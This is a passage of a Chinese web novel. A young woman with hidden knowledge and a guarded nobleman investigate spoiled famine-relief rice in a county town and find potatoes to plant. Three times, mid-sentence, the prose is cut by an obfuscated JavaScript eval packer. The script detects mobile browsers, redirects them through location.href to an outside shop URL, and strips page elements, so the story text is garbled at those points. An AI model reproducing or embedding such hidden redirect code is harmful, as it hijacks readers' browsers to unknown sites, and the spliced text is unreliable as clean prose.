“采。”叶容容蹲下来,掐了一大把,“带着,晚上做着吃。” 蒋成晏骑在马上没动,低头看着她忙活,忽然问了一句:“叶姑娘,你这些东西,都是跟谁学的?” 叶容容手里顿了顿。 她总不能说是在实验室学的。她站起身,把野菜递给苗苗揣好,随口道:“小时候跟家里人学的,家里没吃的,只能采野菜生活。” 蒋成晏没再追问,但目光在她身上停了一会儿,像是在掂量这话有几分真。 叶容容感觉到他的视线,也不躲,抬头看了他一眼。两个人对了一下目光,又各自移开。 她知道他不信。她也不指望他信。 只要能走到县城,只要他肯带着她,不信就不信吧。 小六子忍不住嘀咕:“叶姑娘,你怎么啥都知道?” 叶容容笑笑:“饿得多了,自然就知道了。” 这话说得轻飘飘的,但蒋成晏听进去了。他看了她一眼,没说话。 到了下午,日头偏西的时候,远远地看见了县城的城墙。灰扑扑的,不高,但门口站着兵,进出的人都要盘查。 叶容容眯着眼望了望,心里头松了口气。总算到了。 蒋成晏骑在马上,忽然俯下身,凑近她耳边,压低声音说了一句:“进了城,别乱说话。” 叶容容侧过脸,离得很近,能看清他冷峻的面庞和坚毅的眼神。 “我知道。”她说。 队伍放慢了速度,朝城门走去。 蒋成晏率先下马,他看了一眼小六。 小六赶快从随身携带的包袱里面拿出凭证,恭恭敬敬的递给城门口的检查小兵。 小兵打开凭证,里面夹着一片银叶子,他不动声色的把银叶子从凭证转移到自己袖子里,脸色不变,语气还是一如既往的凶巴巴,也不仔细查看人数了,摆摆手,示意他们离开。 县城不大,主街就那么一条,两边的铺子倒还开着几家。叶容容坐在马上四处打量,街上稀稀拉拉有几个行人。街角蹲着几个难民,衣裳破烂,眼巴巴地看着过往的人。 蒋成晏带着她们在一家客栈门口停了马。客栈门脸不大,牌匾上的漆都掉了,但看着还算干净。小二跑出来接客,见是骑马的,脸上堆满了笑,殷勤地把人往里让。 “几位客官,打尖还是住店?” “住店。”小六子跳下马,扔给他缰绳。 “好嘞——”小二拉着长音,又偷偷打量了几个人一眼,没多话。 叶容容被扶下马,腿有点软,站了一会儿才缓过来。 小六很快把房间分好,叶容容便带着苗苗去了一间房。 苗苗在去房间的路上,和叶容容说着悄悄话,“吓死我了,小姐,我刚才还以为要我们付账,我们两个一穷二白的。” 叶容容由于刚才看到了小六大手笔贿赂的事情,就猜到他们一行人绝对不一般,非富即贵,安慰道:“不会的,蒋公子一行人仗义疏财,怎么可能让我们两个弱女子付账。” 听到夸奖自家主子,小六朝叶容容投来一个赞赏的眼光。 进了房间,她简单洗了把脸,坐下喘口气,小六子就来敲门了:“叶姑娘,公子说让您把路上采的那些菜做一做。” 叶容容应了一声,让苗苗把野菜拿出来,又找小二借了个灶台。客栈后厨的人倒是好说话,见她一个小姑娘,还帮她生了火。 她把那宽叶子的野菜她焯了两遍水,又用凉水泡了一会儿,捞出来挤干,拌上盐巴和香油,一股清香味就飘出来了。带刺的小嫩芽则直接切碎加了一个鸡蛋,做成煎蛋饼。蛋香混合着嫩芽特有的味道,香味从厨房飘了出去。 做好了她先尝了一口,觉得还行,就让苗苗端着盘子送到蒋成晏屋里。 蒋成晏正坐在桌前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463679|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝茶,见菜端上来,扫了一眼,没动筷子。 叶容容知道他什么意思,让她先吃。 她也不客气,夹了一筷子菜放进嘴里,嚼了两下。又夹了一筷子鸡蛋,有荤有素,开胃得很。 “公子放心,没毒。”她咽下去,淡淡说了一句。 蒋成晏这才拿起筷子,每样尝了一口。他嚼了嚼,停了停,又夹了一筷子。 “还行。”他说。 就两个字,但叶容容听出来,这是真觉得好,不是客套。 随即让小六分给其余一行人品尝。 蒋成晏放下筷子,看着叶容容,忽然问了一句:“叶姑娘,除了野菜,你还认得什么?” 叶容容心里一紧。她知道这是在考验她,一行人为什么平白无故带两个弱女子进京城, 你必须拿出一点利用价值。 “认得一些草药,也懂一点种地的门道。”她想了想,又说,“什么样的土能长什么东西,什么样的天气该种什么,大概知道一些。” 蒋成晏没接话,只是看着她。那目光不重不轻的,像是在掂量她说的是真是假。 过了好一会儿,他才慢悠悠道:“等到了京城,希望把你说的这些本事都用上。” 叶容容听明白了——这是打定主意要带她走了。她心里松了口气,面上却不显,只是微微点了点头。 吃完了饭,天色已经暗下来了。叶容容回屋歇了一会儿。 突然听到敲门声。 “叶姑娘可有精神陪我出去走走?” 衣食父母的话,怎么敢违背,叶容容赶紧答应下来,跟着蒋成晏走出去。 县城不大,沿着主街走了没几步,就听见前面有哭声。 他们循声走过去,街角蹲着几个人,衣裳破烂,瘦得皮包骨头。一个妇人抱着个孩子,孩子一动不动,不知道是睡着了还是已经…… 叶容容心里头堵得慌,站在原地愣了一会。 旁边一个老汉靠着墙坐着,眼睛半睁半闭,嘴唇干裂得起皮了。他看见叶容容,张了张嘴,声音沙哑得几乎听不见:“姑娘……有没有吃的……” 蒋成晏走过去,蹲在老汉面前,问道:“这里没有施粥的地方吗,你为什么不去那边排队领粥喝?” 老汉摇摇头,说话上气不接下气:“没看到过粥铺。” 没有?蒋成晏震惊,这里离京城就两天的路程,朝廷的拨款早就到了,为什么没有看到粥铺? “小六。”蒋成晏喊了一声。 小六马上从随身携带的水壶里面到了一点水给老汉。 随行的另外一人,则快步走回客栈,端了一碗白粥出来,喂到老汉嘴边。 看到食物,老汉狼吞虎咽的连嚼都不嚼直接吞下去,吞的很急,生怕有人来抢。 旁边的难民们看到有吃的也纷纷投来渴求的目光,还有力气的人直接跪在地上,不停的磕头,“贵人行行好。” 施粥是县太爷的活,自己不能太出风头。蒋成晏示意他们安静,吩咐小六去拿几个馒头,一人一个馒头,暂时缓解了他们的燃眉之急。 害怕闹出太大动静,蒋成晏也失去了闲逛的心情,带着一行人回了客栈。 蒋成晏随口交代了叶容容两句,便打发她离开,自己则独自回到房间。 客栈房间里,小六等人跪在地上,听从蒋成晏吩咐。 “去县太爷府上好好看看,为什么拨款却未见施粥。”蒋成晏坐着椅子上,淡淡吩咐道。 “遵命!” 5. 夜访县衙 小县城的夜晚黑得伸手不见五指,街上几乎看不见一点灯火。也对,在这连饭都吃不饱的地方,谁舍得点灯熬油? 得了蒋成晏的命令,小六一行人换好夜行衣,借着夜色悄悄摸进了县城里最气派的宅子——县衙。他们几个都是跟着蒋成晏走南闯北过来的,这种夜探的活儿干得多了,轻车熟路,翻墙入院,连狗都没惊动一声。 县衙不大,前头是审案的公堂,后头是县令住的地方。小六趴在后院屋顶上,揭了几片瓦,往下头一看,心里先是一愣。 他原先想过,这县令八成是个贪得无厌的。旱成这样,难民在街上饿死,县衙里却亮着灯,不是数银子就是喝酒吃肉。可等他看清底下的光景,却跟他想的完全不一样。 屋里头坐着一个中年男人,四十来岁的模样,穿着一件半旧的青衫。他正伏在案前翻看公文,旁边立着个倒茶的仆人。整个屋子朴素得不像话,没什么多余的摆设,就墙上挂了几幅字画,一张书桌,一张带纱帐的木床。桌上堆着厚厚一摞公文,旁边搁着一盏油灯,灯芯细得像根针,光亮也就巴掌大一块。 那仆人轻轻挑了挑灯芯,让灯亮了些,小声说:“大人,夜深了,该歇着了。明日还有明日的公务呢。” 县令抬起头,放下笔,把披在肩上的衣裳往上拢了拢,说:“你给我留个灯就行,这儿不用你伺候了,早点歇着去吧。” “可是大人,您都连着熬了好几个晚上了……”仆人还想再劝。 县令摆摆手:“去吧去吧,我再批几份就睡。” 那仆人叹了口气,知道劝不动,只好应了一声,退了出去。脚步声渐渐远了,屋里头就剩下县令一个人,还有那盏半明半暗的油灯。 小六在屋顶上趴着,一动不敢动。夜风从瓦缝里灌进来,吹得他后背发凉。他就这么盯着底下那个人看了快一个时辰,腿都蹲麻了,才见县令放下笔,伸了个懒腰,吹了灯躺下。 他心里头犯起了嘀咕——难道这还真是个好官?县衙穷成这样,县令穿得比难民好不了多少,还熬夜批公文,瞧着倒像是那么回事。 可他总觉得哪里不对。一个县令,旱灾这么久,县衙穷得叮当响,粮仓一粒米都没有,难民在街上饿死,他倒是稳得住。 小六正想着,又听见底下传来翻身的声响。他赶紧收了瓦片,轻手轻脚地挪开,准备再去库房瞧瞧。屋顶上那点细微的响动,县令似是听见了,却只翻了个身,把被子往头上一蒙,继续睡了。 库房在县衙东边,不大,门上了锁,但那种锁在小六眼里跟没上一样。他摸出匕首,三下两下就拨开了,闪身进去。 库房里头空荡荡的,空气里面有一股浓浓的尘土味,一眼就望到了头。就靠墙的角落里零星堆着几袋粮食。小六摸出匕首,在袋子上划了个小口子,掏出一把米来,搁在手心里细细瞧了瞧——米粒发黄,有的还带着黑点,闻着有一股霉味儿。 他把米收好,又把袋子上的口子掩了掩,确认看不出破绽,才悄无声息地退了出去。出了县衙,外头几个弟兄还在墙根底下等着,见他出来,都松了口气。 “走。”小六一挥手,几个人沿着巷子摸黑回了客栈。 客栈里,蒋成晏还没睡。他坐在桌前,桌上的茶早就凉了,也没喝。见小六他们回来,问道:“查到了?” 小六把夜探县衙的经过一五一十说了,又把那些米递过去。蒋成晏接过来,放在鼻子底下闻了闻,眉头就皱了起来。 “陈年米?”他把米粒搁在桌面上,用手指拨了拨,忽然冷笑一声,“今年新收的百余担新米,还没入户部的库房就直接拨过来赈灾了。我倒是不知,新米不过数月就能黄成这样。” 屋里几个随从都低着头,不敢接话。他们都知道,蒋成晏这人平时看着冷冰冰的,可越是这种不冷不热的语气,越是说明他动了气。 小六硬着头皮说:“公子,属下瞧着那县令也不像贪的,屋里头穷得叮当响,穿的衣裳比属下还破。可这米……确实有问题。” “越是干净的人,越要查。”蒋成晏站起身,走到窗前,推开窗户。夜风灌进来,桌上的灯苗晃了晃,差点灭了。他背对着众人,声音淡淡的,“一个县令,旱灾这么久,县衙穷得叮当响,粮仓一粒米都没有,难民在街上饿死,本身就不正常。” 小六愣了一下:“公子是觉得……他故意装出来的?” 蒋成晏没答话,只是站在窗前,看着外头黑沉沉的夜色。 屋里头静得能听见灯芯噼啪的声响。 就在这时,门外忽然传来几声轻叩。 “蒋公子,你在吗?” 叶容容站在门外,手里端着个碗,里头是她刚才在客栈后厨翻到的几味草药,胡乱熬了一碗汤。其实她也不是真的想送什么安神汤。 方才出去的时候还好好的,当街目睹难民的惨状后,蒋成晏就变得更加阴沉,脸色虽看不出什么,可她总觉得他周身的气压都低了几分。她寻了个由头过来,熬汤的草药她也不认得几味,就是看着像是安神的抓了一把,煮出来的汤黑乎乎的,闻着有一股苦味儿。 “进来。”里头传来蒋成晏的声音,听着倒还平静。 叶容容推门进去,就看见蒋成晏坐在桌前,几个随从站在一旁,脸色都有些凝重。她扫了一眼,心里更加纳闷了,面上却不显,只端着碗走过去,说:“公子,我在后厨瞧见几味安神的草药,就熬了一碗。效果说不上多好,但多少有点用,公子尝尝?” 蒋成晏看了她一眼,那目光淡淡的。他伸手接过碗,搁在桌上没喝,倒是把桌面上的陈米往她面前推了推。 “叶姑娘,你看看这个。” 叶容容低头一看,那米颜色发黄,有的还带着黑点,一看就是陈了好些年的米。她拈起一粒,放在指尖搓了搓,又凑近闻了闻,眉头就皱了起来。 “这是陈米,少说也存了三五年了。”她抬头看着蒋成晏,“公子从哪儿弄来的?” 蒋成晏没答话,只是看着她,像是要从她脸上看出点什么来。过了片刻,他才道:“你再看看,这米有什么不对?” 叶容容又仔细瞧了瞧,心里头转过几个念头:“确定是陈米,而且明显已经变味了。若是煮了吃,轻则肚子疼,重则腹泻。” 蒋成晏越听越觉得眼前这女子不简单。但凡和植物打交道的,她什么都懂。这个人突然拦住他的马,闯入他的视线,又带来许多惊喜。这些天的相处,让他心里的怀疑消了几分。 他沉默片刻,问道:“叶姑娘可有什么好办法,度过眼下这些灾情?” 这话一出,屋里几个随从都愣住了。小六嘴巴张了张,想说什么又咽了回去。 蒋成晏扫了一眼随从,自己也反应过来了——这分明是病急乱投医。他正要说什么,叶容容却开了口。 她看懂了蒋成晏的表情,斟酌一番道:“蒋公子高估我了。我充其量不过是个普通人,也没有办法凭空变出粮食来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463680|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到这话,蒋成晏脸色没变,倒像是为了弥补自己方才的鲁莽,反而安慰起她来:“叶姑娘不必有太大负担。答应带你去京城的事,我说到做到。” 叶容容听到这句保证,心里头最后一点顾虑也消了。她悄悄握紧了双手,带着破釜沉舟的语气开口道:“我虽不能凭空变出粮食,只要还有粮食种子,只需给我月余的时间,用我的办法种出的粮食,可以高产丰收,这样才能真正解决此地的旱情。” 众人被这番话惊得目瞪口呆。 蒋成晏倒是没怎么惊讶,只是看着她,手指在桌面上轻轻敲了两下。过了好一会儿,他才慢悠悠开口:“叶姑娘,你若是能在这里把粮食种出来,事成之后,我便带你进京。到了京城,我给你安排住处,保你衣食无忧。你那个丫鬟,我也一并照应着。” 叶容容知道蒋成晏这是在跟她谈条件,可她心里头想的不是这些。她想起街上那些难民,那个抱着孩子的妇人,那个嘴唇干裂的老汉,还有街角蹲着的那几个人,一个个瘦得皮包骨头,眼睛直勾勾地看着过往的行人,像是在等一口吃的。 她咬了咬牙说:“公子不必许诺我什么。我也是难民,若不是承蒙公子关照,也不会站在这里,若是能帮上忙,耽误个把月进京城也不算什么。” 蒋成晏看了她一眼,那目光跟平时不太一样,好像多了点什么。他没说话,只是点了点头,端起桌上那碗安神汤,慢慢喝了一口。 “苦。”他说。 叶容容愣了一下,没忍住笑了一下:“草药嘛,哪有不苦的。” 蒋成晏没再说什么,把碗放下,道:“那就辛苦叶姑娘了。明日我再带你四处转转。” 叶容容应了一声,转身往外走。走到门口,又回头看了一眼——蒋成晏还坐在那里,手里端着那碗安神汤,正在慢慢喝着,眉头微微皱着,像是嫌苦,又像是在想什么事。 她心里头忽然觉得,这个人好像也没那么难相处。 关上门,她站在走廊上,长长地呼出一口气。苗苗从隔壁探出头来,小声问:“小姐,怎么了?” “没什么。”叶容容笑了笑,“咱们可能要在这儿多待些日子了。” 苗苗虽然不明白怎么回事,但见小姐笑了,也跟着笑起来:“那好啊,总比一直在路上强。就是……咱们住这么久,银子够不够啊?” 叶容容这才想起来,她们身上统共就那十文钱,还分了五文给苗苗。她沉默了一下,说:“这个……再说吧。” 苗苗“哦”了一声,也没多问,也赶快回房间了。 叶容容回到房间,站在窗前看着窗外黑沉沉的夜色。握紧双拳,眼神坚毅,准备打一场没有硝烟的仗。 隔壁房间,蒋成晏也没有睡。他坐在桌前,手里还端着那个碗,碗里的汤已经喝完了,碗底留着一点药渣。他把碗搁下,对小六说:“明日你去四处打听打听。既然要长住,就不能一直待在客栈。” 小六应了一声,又问:“公子,您真信她能种出粮食?” 蒋成晏没答话,只是看着桌上那发黄的米,过了好一会儿才说:“信不信的,试试就知道了。反正……也没什么好损失的了。” 小六听出他话里头的意思,没敢再多嘴,悄悄退了出去。 屋里头又安静下来,只剩下那盏灯,噼里啪啦地烧着灯芯。 众人离去后,蒋成晏独自沉思片刻,随即他从包袱里面拿出纸和笔,提起笔来开始写信。 6. 西洋货 清晨的阳光又落在干裂的土地上。进城排队的人越来越多,虽说城里也没什么余粮,大家还是一股脑地往里涌。 叶容容惦记着昨日应下的事,早早就起了。众人在客栈一楼碰了面。 小六见她们下楼,忙招呼用饭。说是早餐,不过一碗白粥,两碟咸菜罢了。 蒋成晏放下茶杯,开口道:“叶姑娘,一会儿我陪你去街上转转。看姑娘需要什么种子,价钱好商量。” 叶容容点头道:“多谢蒋公子。我确实不晓得当地有什么种子卖,嘴上说得轻巧,还是得实地看看,心里才有数。” 众人依次落座,各自用饭不提。 饭后,蒋成晏带着叶容容离开客栈,沿着街道步行,看看还有哪些铺子开着门。 路过了好几家粮店,米价都贵得吓人。叶容容朝店门口打量了几眼,来往的顾客稀稀拉拉,没几个。 他们随意走进一家粮店。店小二热情招呼:“客官看粮么?咱这店虽说比不得那些大店,可品种多,哪怕是西洋那边的稀罕东西,也是有的。” 叶容容正漫不经心地看着店里的存货,忽听“西洋货”三个字,心里来了兴趣,问道:“你说的稀罕物在哪儿?领我去看看。” 店小二见这两人,尤其是那男的气度不凡,便知来了大主顾,赶忙往里请:“客官随我来,东西在里面呢。” 穿过前厅,到了后院。后院的货架上摆着几样东西,落了些灰,瞧着是搁了有些日子了。 “客官看这个?老板从海上带回来的,搁了一个月了,没人买,就堆在这儿了。”店小二话没说完,其实还有后半截:搁了一个月没人买,发了芽,老板舍不得扔,自己煮了吃,结果上吐下泻了两天,这才没来店里。 叶容容快步走到货架前,盯着那个圆滚滚、发了芽、带着泥土色的东西——这不就是土豆么?她双手捧起来,语气里压不住的欢喜:“你说这是西洋传过来的,没人吃,卖不出去?” 店小二见她如此激动,吓了一跳,连忙摆手:“不不不,也不是没人吃。我家老板吃了,前两天舍不得扔……” 叶容容立刻明白了:“是不是发了芽才吃的?中了毒,上吐下泻?” 店小二一脸佩服:“神了!你怎么知道的?” 叶容容顾不上旁人怎么看,拿起土豆,掰下嫩芽,仔细端详了一番,又用指甲抠了抠表皮——没错,就是土豆。 这东西,切一小块就能发芽,长起来也快,三四十天就能收。天大的好事。 她打量着货架上剩下的土豆,声音都在发颤:“发芽的土豆本来就不能吃。你们还有多少?” 一旁的蒋成晏负手而立,面上没什么表情,目光却落在叶容容身上。他一路走来,从未见她如此失态。哪怕是初见时差点被马踩到,她也没慌过。如今面对一个小小的西洋货,竟激动成这样。 有意思。他心下转了个念头,面上却不动声色。 店小二眼看今天能成个大单,还是老板的心头大患,简直是双喜临门,忙道:“有的有的,还有一麻袋。只是这东西……” 叶容容正要开口定下,忽然反应过来,自己身无分文,全仰仗他人,怎能不问一声就擅自做主?蒋公子从进店起便沉默不语,该不会是生气了吧?这分明是越俎代庖。 越想越不安,她转头看向蒋成晏,眼神里带着几分忐忑。 蒋成晏对上她的目光,收回视线,伸手整了整袖口,开口道:“只是什么?这些我们都定了,待会儿有人来取。” 语气平平,像是随手做了一桩无关紧要的买卖。 店小二没想到三言两语就成了一单,喜笑颜开:“客官大气!我绝不虚报,价格公道。” 双方约好了取货的时辰,两人便离开了店铺。 叶容容憋了一肚子话,好不容易有了独处的机会,赶紧向蒋成晏解释:“公子莫怪我太激动。这东西产量极高,切一小块种下去,一个月后就能收,最少能收四五个,算下来能翻七八倍呢。” 叶容容说完,心里还有些忐忑,生怕蒋成晏觉得她是在夸大其词。 蒋成晏看了她一眼,才道:“叶姑娘倒是懂得不少。” 语气不咸不淡,听不出是夸还是试探。 叶容容心里一紧,知道自己又露了破绽,忙道:“蒋公子,方才确实是我太过于激动了。这个东西唤作土豆,发芽就不能吃了。没发芽之前,一个人一顿吃两个就能果腹,比吃稻米和小麦划算得多。还请蒋公子再信我一回,我一定不会让公子失望的。” 蒋成晏没接话,只是微微点了点头:“那便给姑娘月余时间。” 叶容容连忙道谢:“多谢公子。” 蒋成晏转过身往回走,步子不紧不慢。他在心里暗暗盘算:若这东西真如她所说,月余便能收成,那便是天大的好事。若不成,也不过浪费些时日。横竖查案的事还没理出头绪,在此地多留几日也无妨。至于这个叶容容,到底值不值得用,还得再瞧瞧。 想到这里,他头也不回地丢下一句:“姑娘不必谢。只消记得,咱们都是为了灾民。” 叶容容愣了一下,赶紧跟上去。 两人沿着原路返回客栈,一路上谁也没开口。街上的难民比早上又多了些,三三两两蹲在墙根底下,有的已经饿得连头都抬不起来了。叶容容看在眼里,心里很不是滋味。蒋成晏面上却没什么波动,只是目不斜视地往前走。 进了客栈,小六正坐在大堂里喝茶,见他们回来,连忙站起来,脸上带着笑:“公子,叶姑娘,事情办妥了。” “院子租到了?”蒋成晏坐下,小六立刻端起茶壶给他倒了杯水。 “目前选好了两个地方,最终还得公子定夺。”小六从袖子里掏出两张纸,摊在桌上,上面写着两座宅子的信息,“城东一个独门小院,三间正房,两间厢房,带个后院,够咱们住了。城北有一个四进小院,面积要大一些,只是地势不好,有些偏低,但带了一口水井。虽说大旱,井里的水还够人喝。” 蒋成晏点了点头,把两张纸拿起来扫了一眼,又递给叶容容:“叶姑娘看看。” 叶容容接过来,上面画着院子的简图,虽然简陋,但该有的都有。她心里松了口气,有了落脚的地方,接下来种地的事就好办了。 “挺好。”她把纸还给小六,“辛苦你了。” 小六摆摆手,笑道:“叶姑娘客气了。那咱们就实地去瞧瞧,到底定哪个院子,早点定下来才好安排下一步。” 蒋成晏站起身:“走吧。” 众人纷纷应下。 来到城东小院,原来的主人因旱情已经搬走了,只留一个老仆在门口的耳房看门。 众人上前说明来意,老仆这才拿出钥匙,打开院门。 走进院子,果然如小六所说,小院很小,却胜在精致。由于干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463681|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旱,后院种的花花草草早已枯死,只留下一片荒凉。 老仆开口道:“主人家去外地了,这边就准备租出去。只要你们看得上,价格都好商量。” 叶容容环顾四周,觉得过于荒凉,又听小六说另一处宅子有一口水井,植物种植缺水可不行,于是对另一处房屋多了几分期待。 蒋成晏只扫了一圈,没说什么,转身便往外走。这种小院子连他别院的都比不上,没什么可看的。 小逛一会儿后,众人礼貌地向老仆告辞。 第二处宅子确实出人意料。 负责房屋租赁的牙婆早早等候在门口,见他们来了,赶忙热情招呼:“客人来了呀,快里面请。” 从大门进去,便觉着院子宽敞,比方才那小院大了不少。 叶容容走到小六提及的水井旁边,探头往下看,确实还有水,唯一美中不足是水太浅了。但有总比没有好,叶容容很满意。 一旁的蒋成晏负手站在廊下,目光不动声色地跟着叶容容。她对房间和装潢看都没看一眼,径直走向水井,这女子行事,与京城那些闺秀确实不同。 他收回目光,伸手理了理袖口。 在京城的时候,蒋成晏没少参加过各种宴会。宴会上的少女们,一个个娇声细语,走几步路就要歇一歇,仿佛这世上没什么值得她们费力气的。可叶容容不一样,她身上有一种他看不太透的东西。 牙婆眼尖,一眼就看出谁才是能拍板做主的人,赶忙凑到蒋成晏跟前,不停说着吉祥话。 蒋成晏嫌她聒噪,只给了小六一个眼色。 小六立刻会意,上前拦住牙婆:“我们看上了自会知会你。” 蒋成晏环视四周,依旧没发表什么意见。 叶容容看过水井,又走到后院仔细观察地形,地势确实很低,排水不畅,下雨天容易积水。她蹲下身,抓起一把泥土细看:土壤蓬松,土质疏松透气,倒是适合前期育苗,等长出绿叶再移栽到田里。 随从们都是跟着蒋成晏走南闯北的人,从没见过这样的大家闺秀,哪像她,直接蹲在地上玩起泥巴来。几个人看得入了神。 蒋成晏瞥了他们一眼,轻咳一声。 那几个随从立刻回过神,慌忙低下头去,不敢再看。 其中最机灵的小五看懂了蒋成晏的意思,快步走到还在和牙婆打太极的小六旁边,冲他使了个眼色。小六立刻会意,这是要定下来了。 他也不多还价,拉着牙婆商谈价钱。 牙婆从没遇到过这么爽快的客人,看几眼就定下来,脸上笑容灿烂,不停说着吉祥话。双方约定明日搬进来。 眼看一切都敲定,众人回到客栈收拾东西。 到了客栈,蒋成晏叫住叶容容,让她一同进房间。 她进去时,发现小五和小六也在。 蒋成晏坐在桌前,手指轻轻叩了叩桌面,对叶容容道:“叶姑娘,劳烦你给他们说说今天早上的情况。” 叶容容便把在粮店里发现土豆的事简单说了一遍。小六听得眼睛都亮了:“还有这种好东西?那咱们什么时候去取?” “说好了今日下午去取。”叶容容道,“待会儿还得劳烦你跑一趟。” “不劳烦不劳烦。”小六搓了搓手,一副跃跃欲试的样子。 蒋成晏端起茶杯,慢慢喝了一口,目光从叶容容身上扫过,又收回来,面上依旧看不出什么波澜。 7. 有客来访 众人各自散去,回屋收拾东西。下午小六带了两个人去粮店,把那麻袋土豆搬了回来,码在客栈的柴房里。叶容容又去检查了一遍,确认土豆虽已发芽,但个头饱满,没有腐烂的迹象,这才放下心来。 晚上吃饭的时候,大家围坐在一起,气氛比前几日松快了许多。 蒋成晏坐在对面,慢条斯理地吃着,偶尔抬眼看叶容容一下,目光一掠而过,看不出什么情绪。 饭后,叶容容又去柴房仔细看了一遍那些土豆,才回屋歇下。苗苗已经躺在床上了,见她进来,翻了个身,嘟囔道:“小姐,你心里头是不是很着急?” 叶容容吹了灯,在黑暗中躺下来,轻声道:“着急也没用。种还没下,急不来的。” 苗苗“嗯”了一声,没再说话,不一会儿就传来了均匀的呼吸声。 叶容容睁着眼,听着窗外的风声,心里头默默盘算着明天要搬的小院、要翻的土、要沤的肥……想着想着,也不知什么时候睡了过去。 窗外,夜色渐浓,远处的天边还挂着几颗星星,亮晶晶的,像是谁撒了一把碎银子。 县衙后院。 徐县令手里拿着刚刚拆开的信件,信上说朝廷派来暗访的钦差已经出发,要巡查四五个受灾县城,让他做好准备。 徐县令冷笑一声,做准备?用发霉的大米准备么?他随手将信纸凑近烛火,火舌很快吞噬了信件,只剩下几片黑色灰烬飘落在桌面上。 他在椅子上坐了很久,才站起身来, 吩咐下人去唤师爷来。 师爷进来后,徐县令招呼他坐下,随后问道:“最近县里可有什么异常?” 师爷深夜被传唤,本就心里没底,听到这一问,更是不知从何说起,小心翼翼道:“不知县尊指的是哪方面?小人好一一禀报。” 徐县令脸上挂着和蔼的笑,语气却不大对劲:“怎么说?你问我哪方面,那就是很多地方都有问题了?” 师爷吓了一跳,赶忙答道:“倒是有几桩小事,我说给您听听。头一件,有人在县城大街上派发馒头给灾民,还打听施粥的事。第二件,前两天负责城门看守的人收了贿赂,瞧那东西不像是寻常玩意,被人眼红,举报到我这里来了。” 说着,他从随身携带的荷包里取出一片白银做的叶子,小小的,恭恭敬敬递了过去。 徐县令伸手接过。叶子看着不大,在手里掂量掂量,分量却不轻,估摸着有一两上下。上面的花纹极精致,边角打磨得圆润光滑,用手摸着一点都不硌手。这绝不是普通人家的东西。若不是露了白被人举报,这片叶子拿去典当,估摸着能值不少银子。 “谁给的?知道吗?”徐县令问道。 师爷回道:“说是一群骑马的商贩,路引凭证上写的是商贾。几个男的,带了两个女的。” 女的?徐县令心里一动,信上说钦差微服出访,没提带家属啊。 他又问:“知道他们现在在哪里吗?” 师爷察觉到县令的语气忽然严肃起来,立刻提起了十二分的小心:“知道,在客栈歇脚,还没走。我让人盯着呢,一有动静就来报。” 蠢货!徐县令心知这次来的人不一般,凭县衙这几个歪瓜裂枣去盯梢,只怕早就被人发现了。他嘴角微微撇了一下:“不用了,让他们回来。明日我亲自去看看。” 师爷恭恭敬敬应了。 得到了自己想要的消息,徐县令摆摆手,让他退下。 师爷站起身来,朝徐县令作了个揖,转身出去,轻轻带上了门。 徐县令手里还拿着那片银叶子。他把蜡烛凑近,借着烛光里里外外看了个遍。忽然想到了什么,将叶子丢在桌上,从抽屉里取出信纸,开始研墨写信。 蒋成晏还没有睡。 他方才去柴房拿了一个土豆回来,实在好奇这到底是个什么东西,打算自己好好瞧一瞧。 他很有耐心地打了一盆水,将土豆浸在水中,洗净了表面的泥土,细致地观察起来。 他自幼学武,熟读兵法,论排兵布阵,信手拈来。可这农事上的门道,他确实所知有限。这世道会种地的农民不少,大多都是父传子、子传孙,一代代传下来的手艺。可叶容容年纪轻轻,却什么都略知一二,不可谓不蹊跷。 洗净的土豆表皮发黄,其貌不扬,上面还冒出几个绿芽。蒋成晏翻来覆去看了几遍,怎么看也不像是能吃的样子。 正思忖间,门外传来几声轻叩。 蒋成晏应了一声。 小六推门进来,压低声音道:“公子,有情况。有人在客栈外面鬼鬼祟祟地监视我们。” 蒋成晏走到窗前,推开一条缝往下望去。客栈门口有几个穿着官服的小兵在徘徊,东张西望,就是不进来。 他放下窗户,转身坐回椅子上,手指轻轻叩着桌面,问道:“你说的就是他们?” “是,从咱们回客栈就在门口晃悠了。”小六顿了顿,“奇怪的是,他们居然穿着官服,明目张胆地监视。” 蒋成晏没说话,目光落在桌上那枚洗净的土豆上。半晌,他冷笑一声:“这是在告诉我们,他们已经知道我们来了。” 小六一愣:“公子的意思是……” “这年头,宰相还有三门穷亲戚,更何况这些同年科举的同僚们。”蒋成晏淡淡道,“递个消息,不算难事。” 他摆了摆手:“不必理会他们。早点歇着,明日一早就搬去新租的院子。” 小六应了一声,见他没有别的吩咐,便告退离开了。 